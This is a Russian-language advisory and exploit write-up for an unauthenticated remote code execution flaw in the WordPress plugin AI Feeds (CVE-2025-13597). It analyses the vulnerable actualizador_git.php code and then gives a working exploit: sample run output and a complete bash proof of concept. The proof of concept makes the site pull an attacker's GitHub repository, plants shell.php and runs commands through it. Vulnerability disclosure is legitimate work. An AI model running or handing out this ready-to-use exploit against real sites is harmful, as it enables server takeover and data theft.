AI Feeds <= 1.0.11 — Неавторизованная произвольная загрузка файлов

Плагин WordPress AI Feeds версий 1.0.11 и ниже содержит уязвимость удаленного выполнения кода без аутентификации в файле actualizador_git.php. Этот файл напрямую доступен через HTTP без каких-либо проверок аутентификации или авторизации, что позволяет неавторизованным злоумышленникам загружать произвольные репозитории GitHub и перезаписывать файлы плагина, что приводит к удаленному выполнению кода.

Эксплойты кратко

Предоставлен CVE-2025-13597.py для демонстрации удаленной загрузки shell.php и выполнения кода:

python3 CVE-2025-13597.py -t http://techcorp.cc -o d0n601 -r minimal-rce -k github_pat_YOURKEYHERE -c whoami
[*] Exploiting actualizador_git.php vulnerability...
[*] Downloading and installing shell from GitHub repository: d0n601/minimal-rce
Descargando d0n601/minimal-rce@main ...
Eliminando entradas extra...
Copiando archivos...
OK. Mirror aplicado en: /var/www/html/wp-content/plugins/ai-feeds

[*] Exploit executed. Checking if shell.php was created...

[*] Testing shell access...
www-data


[*] Shell should be accessible at:
    http://techcorp.cc/wp-content/plugins/ai-feeds/shell.php?cmd=COMMAND

Технический анализ

Уязвимость находится в файле /wp-content/plugins/ai-feeds/actualizador_git.php. Этот файл реализует систему зеркалирования репозиториев GitHub, доступную напрямую через HTTP без каких-либо средств безопасности.

Анализ путей выполнения кода

1. Прямой доступ к файлу (строки 1-17): В файле отсутствует стандартная проверка ABSPATH WordPress (if (!defined('ABSPATH')) exit;), которая предотвращает прямой HTTP-доступ. Параметры считываются напрямую из $_GET без проверки:

   $OWNER = $_GET['owner'] ?? 'cibeles';
   $REPO  = $_GET['repo']  ?? 'svn_ai-feeds';
   $REF   = $_GET['ref']   ?? 'main';
   $TOKEN = $_GET['token'] ?? 'PON_AQUI_TU_TOKEN_PAT';
   

2. Проверка токена (строка 26): Единственная проверка — убедиться, что токен не пуст и не является значением по умолчанию. Никакой аутентификации или авторизации не выполняется:

   if ($TOKEN === '' || $TOKEN === 'PON_AQUI_TU_TOKEN_PAT') { 
       http_response_code(400); 
       exit("Falta token\n"); 
   }
   

3. Запрос к API GitHub (строка 31, 35-58): Скрипт загружает ZIP-файл из API GitHub, используя контролируемые пользователем параметры:

   $apiUrl = "https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/" . rawurlencode($REF);
   curl_download($apiUrl, $zip, $TOKEN);
   

   Функция curl_download() отправляет токен в заголовке Authorization, но не выполняет проверку владельца репозитория или его содержимого.

4. Извлечение ZIP и файловые операции (строки 144-169): Загруженный ZIP извлекается, и файлы копируются напрямую в каталог плагина:

   $zipArc->extractTo($extractDir);
   $rootInsideZip = $extractDir . DIRECTORY_SEPARATOR . $entries[0];
   rrcopy_into($rootInsideZip, $cwd, $PRESERVE);
   

   Функция rrcopy_into() рекурсивно копирует все файлы из извлеченного репозитория в текущую рабочую директорию (каталог плагина), перезаписывая существующие файлы.

5. Удаление файлов (строки 164-165): Файлы, отсутствующие в загруженном репозитории, удаляются:

   mirror_delete_extras($cwd, $keepSet, $PRESERVE);
   

   Функция mirror_delete_extras() удаляет любые файлы в каталоге плагина, которых нет в манифесте репозитория.

Доказательство концепции

TARGET="http://example.com"
OWNER="your_username"
REPO="minimal-rce"
TOKEN="github_pat_blablabla"

COMMAND="whoami"

echo "[*] Exploiting actualizador_git.php vulnerability..."
echo "[*] Downloading and installing shell from GitHub repository: ${OWNER}/${REPO}"

curl -s "${TARGET}/wp-content/plugins/ai-feeds/actualizador_git.php?owner=${OWNER}&repo=${REPO}&ref=main&token=${TOKEN}"

echo ""
echo "[*] Exploit executed. Checking if shell.php was created..."
echo ""

echo "[*] Testing shell access..."
curl -s "${TARGET}/wp-content/plugins/ai-feeds/shell.php?cmd=${COMMAND}"

echo ""
echo ""
echo "[*] Shell should be accessible at:"
echo "    ${TARGET}/wp-content/plugins/ai-feeds/shell.php?cmd=COMMAND"